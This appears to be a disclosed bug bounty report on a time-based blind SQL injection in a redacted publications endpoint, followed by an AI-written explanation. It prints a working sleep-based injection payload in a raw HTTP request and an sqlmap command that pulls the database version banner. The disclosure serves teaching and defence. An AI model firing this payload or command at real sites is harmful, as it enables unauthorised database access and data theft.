SQL Injection in the get_publications.php on the https://█████
The pub_group_id parameter of a publications endpoint was concatenated into a SQL query without sanitisation, allowing time-based blind injection. An attacker could confirm the flaw with a deliberate delay and extract database information such as the version banner.
- Triaged in 4 days
- Fixed in 3 months
- Disclosed after 8 months
##Description
Hello. I was able to find Time-based SQLI on the https://███/pubs/get_publications.php using pub_group_id parameter
##POC
GET /pubs/get_publications.php?pub_group_id=wrtqvasi10rc19j1'%2b(select*from(select(sleep(5)))a)%2b'&rno86qi4=1 HTTP/1.1
Host: █████
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://█████/pubs/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,ru;q=0.9,en-US;q=0.8,uk;q=0.7
Cookie: _ga=GA1.2.1697249984.1548431559; __utma=161700579.1697249984.1548431559.1548902867.1548902867.1; __utmz=161700579.1548902867.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); _test_cookie=0
This request will trigger the 5 sec delay of the response. By making sleep value as 10, request will be delayed for 10 seconds. As additional POC, that attacker is able to extract data, and it's not a false-positive, I retrieved DB banner (version) only using sqlmap command:
sqlmap.py -r test.txt --dbms=mysql --technique=T -p pub_group_id --banner --force-ssl --level=5
where test.txt is a text fiile contained request dump above. Result:
5.5.62-0ubuntu0.14.04.1
█████
No sensitive data such as databases, tables, or content was accessed.
Impact
SQL injection usually have high or critical impact.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the pub_group_id value was inserted into a SQL statement without parameterisation or validation, so injected SQL fragments were executed.
Impact
An attacker could extract arbitrary data from the database, though the reporter only retrieved the version banner and states no sensitive data was accessed.
What the attacker needed
Network access to the endpoint
How it was found
- Send a request to the publications endpoint with a crafted pub_group_id value containing a sleep expression.
- Observe that the response is delayed by about five seconds.
- Increase the sleep value and confirm the delay scales accordingly.
- Run an automated time-based injection tool against the saved request to retrieve the database banner.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A SQL injection happens when a website puts user input straight into a database query, so the input can change the query's meaning. Here the attacker made the database pause for several seconds, which proves the input reached the query. That same trick can be used to ask the database yes/no questions and slowly read data out.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.